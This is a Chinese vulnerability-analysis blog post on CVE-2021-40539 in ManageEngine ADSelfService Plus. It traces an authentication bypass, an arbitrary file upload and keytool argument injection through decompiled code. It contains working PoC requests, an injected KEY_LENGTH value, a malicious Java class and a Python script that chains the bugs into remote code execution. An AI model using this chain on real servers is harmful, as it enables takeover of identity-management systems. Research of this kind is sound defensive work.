ManageEngine ADSelfService Plus历史漏洞CVE-2021-40539分析

发布于:2022-12-28 ⋅ 阅读:(169) ⋅ 点赞:(0)

声明

出品|先知社区(ID:1s1and)
以下内容,来自先知社区的1s1and作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

概述

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。

CVE-2021-40539是一个身份认证绕过漏洞,可能导致任意远程代码执行 (RCE)。根据官方信息,在2021年11月7日的6114版本中得到修复。

据CISA,CVE-2021-40539 已在野漏洞利用中被检测到,黑客可以利用此漏洞来控制受影响的系统。

作为JAVA安全研究菜鸟,本篇文章的思路是按照已知这个漏洞存在,并且知道poc的前提下,进行漏洞的复现以及原理的分析。在复现过程中发现与其它大佬分析的一些不同处,简单记录,一方面供新手参考;另一方面继续积累java漏洞模式理解,为后续开展漏洞挖掘做准备工作。

环境搭建

软件环境

官网只提供最新版下载,在下载网站可以下载到5.8版本,安装过程中有个坑,图形化界面安装到最后阶段后会卡在一个界面过不去,参考其他大佬的一些做法,我重启了自己的机器,然后运行安装目录下的C:\ManageEngine\ADSelfService Plus\bin\run.bat,即可开始文字界面的安装选择,然后就可以根据默认的8888端口(http),或者9251端口(https)打开web界面

图片

调试环境配置

将C:\ManageEngine\ADSelfService Plus复制到我的Mac环境下,使用idea打开

在目标bin/run.bat中添加一行(这行命令直接去idea里面复制即可)

set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

然后停止服务,再双击run.bat重新以调试模式启动

在idea中设置相关调试设置

图片

我们的调试环境就配置完成了,要怎么检验是否成功配置好了呢,可以查看

C:\ManageEngine\ADSelfService Plus\webapps\adssp\WEB-INF\web.xml文件,可以看到以下内容

<filter>
        <filter-name>AssociateCredential</filter-name>
        <filter-class>com.adventnet.authentication.filter.AssociateCredential</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>AssociateCredential</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

可知,任意url模式下,都会触发AssociateCredential这个filter,因此,尝试在这个filter的doFilter函数下断点,随便访问一个页面,如果能断下来,则证明调试环境配置成功

图片

尝试随便请求一个页面

http://127.0.0.1:8888/authorization.do

发现果然断了下来,证明调试环境搭建成功

漏洞分析

认证绕过漏洞

认证绕过漏洞的一个例子是

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo

默认请求

图片

但加上/./则可绕过认证

图片

尝试分析一下这个流程,java应用中的web.xml是用来初始化配置信息,Welcome页面、servlet、servlet-mapping、filter、listener、启动加载级别等都可以在web.xml中定义

根据/./RestAPI/LogonCustomization这个url可以看到以下内容

<servlet>
        <servlet-name>action</servlet-name>
        <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
        <init-param>
            <param-name>config</param-name>
            <param-value>/WEB-INF/struts-config.xml, /WEB-INF/accounts-struts-config.xml, /adsf/struts-config.xml, /WEB-INF/api-struts-config.xml, /WEB-INF/mobile/struts-config.xml</param-value>
        </init-param>
        <init-param>
            <param-name>validate</param-name>
            <param-value>true</param-value>
        </init-param>
        <init-param>
            <param-name>chainConfig</param-name>
            <param-value>org/apache/struts/tiles/chain-config.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
<servlet-mapping>
    <servlet-name>action</servlet-name>
    <url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>

证明请求/./RestAPI/LogonCustomization时候首先会调用到org.apache.struts.action.ActionServlet内容

因此直接尝试在其中doPost函数中下个断点

图片

在下断点后,尝试发送正常的不带/./的请求

POST /RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo

发现并不会触发断点

但是尝试请求

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo

发现可以触发断点以上测试可以证明的是,认证校验代码并不存在

org.apache.struts.action.ActionServlet以及之后的数据处理中,而应该在到

org.apache.struts.action.ActionServlet之前的处理中,显然,应该是在filter中,尝试去看看这个url都会触发什么filter

根据web.xml,/RestAPI/LogonCustomization会按顺序触发以下filter

AssociateCredential
EncodingFilter
METrackFilter
ADSFilter

当然如果尝试在ActionServlet中下断点,看一下触发流程也可以知道有哪些filter

尝试在这几个filter的doFilter函数中都下断点

图片

图片

图片

图片

另外保留org.apache.struts.action.ActionServlet中的断点,在我们尝试发送认证绕过的数据包时候,这些filter以及ActionServlet均会触发

但是在尝试发送不带/./的普通数据包的时候,发现四个filter也都会被触发,但是却触发不了ActionServlet

两种情况相对比即可证明,针对restAPI的校验的逻辑应该是存在于最后的filter——ADSFilter中,因此,将认证绕过漏洞我们的分析重点放在ADSFilter对象中

要通过这个filter的检查,意味着不能return,要运行到最后filterChain.doFilter(request, response)这一行才可以

通过动态跟踪,发现使用不带绕过的url/RestAPI-/LogonCustomization时候,会在以下这一行return

restApiUrlPattern = this.filterParams.has("API_URL_PATTERN") ? this.filterParams.getString("API_URL_PATTERN") : "/RestAPI/.*";
if (Pattern.matches(restApiUrlPattern, reqURI) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig)) {
    return;
}

证明这里的检查没有通过,另一方面也证明我们使用/./RestAPI/LogonCustomization绕过的正是此处认证,尝试分析一下检查逻辑

在这段代码前边是以下逻辑,检查requrl是否匹配.*.do|.*.cc|/webclient/index.html模式,如果匹配则进行相应的认证凭证校验

图片

我们请求的/RestAPI/*不符合以上模式,因此会继续向下运行

图片

其中Pattern.matches(restApiUrlPattern, reqURI)中reqURI是我们请求的url,分析前边代码可知restApiUrlPattern的值为/RestAPI/.*,因此当我们请求的url为/./RestAPI/LogonCustomization很容易绕过这句判断,因为后边又紧跟着&&,因此只要这个判断不通过就不会return,绕过认证

任意文件上传漏洞

poc如下:

POST /./RestAPI/LogonCustomization HTTP/1.1Host: 192.168.1.106:9251User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: Content-Type: application/x-www-form-urlencodedAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537Te: trailersConnection: closeContent-Length: 1212-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="methodToCall"unspecified-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="Save"yes-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="form"smartcard-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="operation"Add-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"Content-Type: application/octet-streamarbitrary content-----------------------------39411536912265220004317003537--

尝试发包

图片

结果会在bin目录下创建test.txt这个文件,内容为arbitrary content

图片

尝试分析逻辑

还是先看web.xml,

.....
    <servlet>
        <servlet-name>action</servlet-name>
        <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
        <init-param>
.....
<servlet-mapping>
    <servlet-name>action</servlet-name>
    <url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
.....

显然这里使用了structs,想要找到具体的逻辑,我们去参考web.xml同目录下的struts-config.xml文件,搜索LogonCustomization

<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>

因为poc中methodToCall的值是unspecified,初步确定相关逻辑在

LogonCustomization中的unspecified函数中
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {        AdventNetResourceBundle rb = ResourceBundleMgr.getInstance().getBundle(request);        String message = "";        String messageType = "";        try {            DynaActionForm dynForm = (DynaActionForm)form;            Long loginId = (Long)request.getSession().getAttribute("ADMP_SESSION_LOGIN_ID");            ArrayList logonList = DomainUtil.getDomainShowStatus();            ArrayList loginAttrList = DomainUtil.getLoginAttrPropList();            request.setAttribute("forwardTo", "LogonSettings");            int j;            Properties p;            String domainName;            String formDomainStatus;            String loginAttrEnableStatus;            String operation;            String formValue;            String ldapName;            if (request.getParameter("Save") != null) {                message = rb.getString("adssp.common.text.success_update");                messageType = "success";                if ("mob".equalsIgnoreCase(request.getParameter("form"))) {                    this.saveMobileSettings(logonList, request);                    request.setAttribute("form", "mob");                } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {                    operation = request.getParameter("operation");                    SmartCardAction sCAction = new SmartCardAction();                    if (operation.equalsIgnoreCase("Add")) {                        request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));                        request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));                        sCAction.addSmartCardConfig(mapping, dynForm, request, response);                    } else if (operation.equalsIgnoreCase("Update")) {                        sCAction.updateSmartCardConfig(mapping, form, request, response);                    }                    if (request.getAttribute("SMART_CARD_DETAILS") != null) {                        JSONObject status = (JSONObject)request.getAttribute("SMART_CARD_DETAILS");                        if (status.has("eSTATUS")) {                            messageType = "error";                            message = rb.getString((String)status.get("eSTATUS"));                        } else {                            messageType = "success";                            message = rb.getString((String)status.get("sSTATUS"));                        }                    }                } else {                    for(j = 0; j < formElements.length; ++j) {                        formValue = (String)dynForm.get(formElements[j]);                        if (formValue != null && j != 1) {                            ADSMPersUtil.updateSyMParameter(dbElements[j], formValue);                        }                    }                    int j;                    if (dynForm.get("SHOW_CAPTCHA_LOGIN_PAGE").toString().equals("true") || dynForm.get("SHOW_CAPTCHA_RUL_PAGE").toString().equals("true")) {                        if ((Boolean)dynForm.get("CUSTOM_CAPTCHA")) {                            j = Integer.parseInt(dynForm.get("MAX_INVALID_LOGIN").toString());                            j = Integer.parseInt(dynForm.get("RESET_TIME").toString());                            CaptchaUtil.updateLogonCaptchaSettings(true, j, j);                        } else {                            CaptchaUtil.updateLogonCaptchaSettings(false, 0, 0);                        }                    }                    if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {                        for(j = 0; j < logonList.size(); ++j) {                            p = (Properties)logonList.get(j);                            domainName = (String)p.get("DOMAIN_NAME");                            int formStatus = 0;                            formDomainStatus = request.getParameter(domainName + "_CHK");                            if ("true".equalsIgnoreCase(formDomainStatus)) {                                formStatus = 1;                            }                            DomainUtil.addUpdateLogonDomains(domainName, new String[]{"DISPLAY_STATUS"}, new int[]{formStatus});                        }                    }                    ArrayList finalList = new ArrayList();                    for(j = 0; j < loginAttrList.size(); ++j) {                        Properties p = (Properties)loginAttrList.get(j);                        ldapName = (String)p.get("LDAP_NAME");                        Boolean enableStatus = (Boolean)p.get("ENABLE_STATUS");                        loginAttrEnableStatus = request.getParameter(ldapName + "_LCHK");                        if ("true".equalsIgnoreCase(loginAttrEnableStatus)) {                            enableStatus = true;                        } else {                            enableStatus = false;                        }                        Properties savedProp = new Properties();                        savedProp.put("LDAP_NAME", ldapName);                        savedProp.put("ENABLE_STATUS", enableStatus);                        finalList.add(savedProp);                    }                    DomainUtil.setLoginAttributeList(finalList);                    Hashtable props = new Hashtable();                    domainName = request.getParameter("ACCESS_CONTROL");                    props.put("ACCESS_CONTROL", domainName == null ? "" : domainName);                    UserUtil.setUserPersonal(loginId, props);                    if (dynForm.get("HIDE_MACCESS_BUTTON").toString().equals("false")) {                        CommonUtil.generateQrForSettingsConfiguration();                    }                    if (dynForm.get("userDisclaimerEnable").toString().equals("true")) {                        ADSMPersUtil.updateUDEnableSettings("true");                    } else {                        ADSMPersUtil.updateUDEnableSettings("false");                    }                }            } else if (!"mob".equalsIgnoreCase(request.getParameter("form"))) {                if ("sso".equalsIgnoreCase(request.getParameter("form"))) {                    message = rb.getString((String)request.getAttribute("ssoMessage"));                    messageType = (String)request.getAttribute("ssoMessageType");                    request.setAttribute("form", "sso");                }            } else {                for(j = 0; j < logonList.size(); ++j) {                    p = (Properties)logonList.get(j);                    domainName = (String)p.get("DOMAIN_NAME");                    DomainUtil.addUpdateLogonDomains(domainName, new String[]{"MOBILE_DISPLAY_STATUS"}, new int[]{1});                }                operation = request.getParameter("resetMobSettings");                if (operation != null && operation.equals("true")) {                    MobileUtil.resetMobileSettings();                }                request.setAttribute("form", "mob");            }            for(j = 0; j < formElements.length; ++j) {                dynForm.set(formElements[j], ADSMPersUtil.getSyMParameter(dbElements[j]));            }            request.setAttribute("MOBILE_SETTINGS", MobileUtil.getMobileAppSettings());            MobileUtil.removeTempImage();            Hashtable userDisclaimerDetails = ADSMPersUtil.getUserDisclaimerSettings();            formValue = (String)userDisclaimerDetails.get("USER_DISCLAIMER_ENABLE_STATUS");            domainName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_TITLE");            ldapName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CONTENT");            formDomainStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CHKBOX_CONTENT");            loginAttrEnableStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_AGREE_CHKBOX");            dynForm.set("userDisclaimerEnable", formValue);            dynForm.set("userDisclaimerAgreeEnable", loginAttrEnableStatus);            dynForm.set("resetDisclaimerStatus", "false");            request.setAttribute("USER_DISCLAIMER_TITLE", domainName);            request.setAttribute("USER_DISCLAIMER_CONTENT", ldapName);            request.setAttribute("USER_DISCLAIMER_CHKBOX_CONTENT", formDomainStatus);            if (request.getParameter("form") != null) {                request.setAttribute("form", request.getParameter("form"));            }            JSONObject capParams = CaptchaUtil.getLogonCaptchaSettings();            if (capParams.getBoolean("IS_ENABLED")) {                dynForm.set("MAX_INVALID_LOGIN", capParams.getInt("MAX_INVALID_LOGIN"));                dynForm.set("RESET_TIME", capParams.getInt("TIME_TO_RESET"));                dynForm.set("CUSTOM_CAPTCHA", true);            } else {                dynForm.set("CUSTOM_CAPTCHA", false);            }            Hashtable hash = UserUtil.getUserPersonal(loginId, new String[]{"ACCESS_CONTROL"});            String val = (String)hash.get("ACCESS_CONTROL");            if (val == null || val.equals("-")) {                val = "";            }            dynForm.set("ACCESS_CONTROL", val);            if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {                logonList = DomainUtil.getDomainShowStatus();            }            request.setAttribute("logonList", logonList);            String sso = ADSMPersUtil.getSyMParameter("SSOAuthType");            if (sso != null) {                request.setAttribute("SSOAuthType", ADSMPersUtil.getSyMParameter("SSOAuthType"));            }            request.setAttribute("SingleSingOn", ADSMPersUtil.getSyMParameter("SingleSignOn"));            loginAttrList = DomainUtil.getLoginAttrPropList();            request.setAttribute("loginAttrList", loginAttrList);            ArrayList domList = new ArrayList();            for(int j = 0; j < logonList.size(); ++j) {                String domainName = (String)((Properties)logonList.get(j)).get("DOMAIN_NAME");                domList.add(domainName);            }            request.setAttribute("domainSSOProps", NTLMHandler.getSSOProps(domList));            SmartCardAction sCAction = new SmartCardAction();            sCAction.getSmartCardConfig(mapping, form, request, response);        } catch (Exception var25) {            var25.printStackTrace();            message = var25.getMessage();        }        request.setAttribute("SAMLIDPAuthDetails", SAMLIDPAuthHandler.getSAMLIdpList());        request.setAttribute("SAMLIDPConfigDetails", SAMLIDPAuthHandler.getSAMLConfigurations("LOGIN_AUTH"));        request.setAttribute("SAML_LOGIN_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL"));        request.setAttribute("SAML_LOGOUT_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGOUT_URL"));        request.setAttribute("URL_CONFIG_ID_GEN", ProductUniqueSeqGenerator.generateUniqueIdentifier());        request.setAttribute("message", message);        request.setAttribute("messageType", messageType);        return mapping.findForward("LogonCustomization");    }

当满足SVAE参数是yes,form参数是smartcard,operation参数值为Add时,会运行至这一行

sCAction.addSmartCardConfig(mapping, dynForm, request, response);

图片

当请求数据中不包含CERTIFICATE_FILE参数,会运行至这一行

JSONObject certFileJson = FileUtil.getFileFromRequest(request, form, "CERTIFICATE_PATH");

进入getFileFromRequest方法

图片

发现会从CERTIFICATE_PATH这个form中取出filename以及内容,创建新文件,造成任意文件上传

并且注意,此处fileName = formFile.getFileName()取到的直接是最终的文件内容,如果我们输入…\test.txt或者license\test.txt是无效的,取出内容依然是test.txt

RCE漏洞

RCE漏洞是匹配文件上传漏洞一起使用的,用于执行之前上传的文件

poc如下:

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"

参考struts-config.xml文件可以快速找到代码逻辑实现

<action path="/Connection" type="com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction" parameter="methodToCall" name="personaliseForm" scope="request">
<forward name="ConnectionSettings" path="ConnectionSettings"/>
<forward name="SSLTool" path="SSLTool"/>
</action>

前往ConnectionAction中openSSLTool查看代码实现

public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String action = request.getParameter("action");
        if (action != null && action.equals("generateCSR")) {
            SSLUtil.createCSR(request);
        }
        return actionMap.findForward("SSLTool");
    }

根据代码,在判断请求数据中action参数generateCSR后即调用SSLUtil.createCSR

public static void createCSR(HttpServletRequest request) throws Exception {
        JSONObject sslParams = new JSONObject();
        sslParams.put("COMMON_NAME", request.getParameter("NAME"));
        sslParams.put("SAN_NAME", request.getParameter("SAN_NAME"));
        sslParams.put("OU", request.getParameter("OU"));
        sslParams.put("ORGANIZATION", request.getParameter("ORGANIZATION"));
        sslParams.put("LOCALITY", request.getParameter("LOCALITY"));
        sslParams.put("STATE", request.getParameter("STATE"));
        sslParams.put("COUNTRY_CODE", request.getParameter("COUNTRY_CODE"));
        sslParams.put("PASSWORD", request.getParameter("PASSWORD"));
        sslParams.put("VALIDITY", request.getParameter("VALIDITY"));
        sslParams.put("KEY_LENGTH", request.getParameter("KEY_LENGTH"));
        JSONObject csrStatus = createCSR(sslParams);
        if (csrStatus.has("eStatus")) {
            request.setAttribute("status", customizeError(csrStatus.getString("eStatus")));
        } else {
            request.setAttribute("status", "success");
        }
    }

从request中获取参数值后调用createCSR

public static JSONObject createCSR(JSONObject sslSettings) throws Exception {        ........        StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe  -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");        keyCmd.append(password);        keyCmd.append(" -storePass ").append(password);        String keyLength = sslSettings.getString("KEY_LENGTH");        if (keyLength != null && !keyLength.equals("")) {            keyCmd.append(" -keysize ").append(keyLength);        }        String validity = sslSettings.getString("VALIDITY");        if (validity != null && !validity.equals("")) {            keyCmd.append(" -validity ").append(validity);        }        String san_name = sslSettings.getString("SAN_NAME");        keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));        keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));        keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));        keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));        keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));        keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));        keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");        .........        String status = runCommand(keyCmd.toString());    }}

createCSR方法中,会拼接各字段值然后调用runCommand执行,其中对于大部分参数都是用了keyToolEscape针对特殊字符进行了转义,只有KEY_LENGTH以及VALIDITY两个字段没有被转义,因此可以利用这两个字段

静态大概分析清楚了,尝试动态调试,将断点下载createCSR对象runCommand这一行

图片

但是尝试使用burp发送poc数据包,却并没有断下来尝试单步,发现在函数第一行

sslSettings.getString(“COMMON_NAME”)

中报错进入异常处理

图片

猜测应该是没有这个参数导致触发异常,看看下面还要区PASSWORD等其他参数的值,因此尝试修改poc,在其中加入这些字段参数

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 249
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"&NAME=test&VALIDITY=abc&PASSWORD=pasword&SAN_NAME=san&OU=ou&ORGANIZATION=og&LOCALITY=loc&STATE=state&COUNTRY_CODE=123

发现此时才可以成功触发断点

图片

keycommand的值为

..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "pasword" -storePass "pasword" -keysize 1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService Plus\bin" -validity abc -dName "CN=test, OU= ou, O=og, L=loc, S=state, C=123" -keystore ..\jre\bin\SelfService.keystore -ext SAN=dns:san

其中-providerpath后边的"C:\ManageEngine\AD-SelfService Plus\bin"

内容是我们注入的内容,下一步尝试看一下这条命令执行的含义

图片

可知使用-providerpath以及-providerclass参数提供方类路径和类名,将要执行的代码放在静态区即可成功运行

漏洞利用

漏洞利用思路即利用三个漏洞,先上传编译好的带有命令执行的class文件,然后使用RCE漏洞触发上传的类中的静态方法

创建Si.java文件

import java.io.*;
public class Si{
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec("calc");
        }catch (IOException e){}
    }
}

编译该文件生成Si.class、javac Si.java

然后使用任意文件上传漏洞上传Si.class,然后再使用RCE漏洞触发Si这个类中的静态代码——执行calc.exe。因为生成的Si.class包含不可见字符,因此,简单写一个脚本来完成最后这两步实现印证

import requestsfrom time import sleepdef upload(ip):    url = 'http://{ip}:8888/%2e/RestAPI/LogonCustomization'.format(ip=ip)    print(url)    data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"}    files = {'CERTIFICATE_PATH': ('Si.class', open('Si.class', 'rb'))}    requests.post(url=url,data=data,files=files)    return Truedef runcmd(ip):    url = 'http://{ip}:8888/%2e/RestAPI/Connection'.format(ip=ip)    data = {"methodToCall":'openSSLTool',"action":'generateCSR',"KEY_LENGTH":'1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService+Plus\bin"',"NAME":'test',"VALIDITY":1,"PASSWORD":'pasword','SAN_NAME':'san',"OU":'ou','ORGANIZATION':'og','LOCALITY':'loc','STATE':'state','COUNTRY_CODE':'123'}    requests.post(url=url,data=data)def main():    ip = '172.16.113.169'    upload(ip)    sleep(3)    runcmd(ip)if __name__ == "__main__":    main()

运行可成功执行计算器

图片

另外在这里记录一个很操蛋的问题,我这个脚本开始一直使用proxy通过burp发送不成功,但是不使用burp的proxy直接发送能成功,最后判断是因为burp会自动省略掉url里面的/./,很奇怪,不知道是bug还是burp自己刻意做的优化,如果是优化的话实在感觉很画蛇添足

参考

  1. ManageEngine ADSelfService Plus(CVE-2021-40539)漏洞分析

  2. HOW TO EXPLOIT CVE-2021-40539 ON MANAGEENGINE ADSELFSERV-ICEPLUS

  3. CVE-2021-40539

本文含有隐藏内容,请 开通VIP 后查看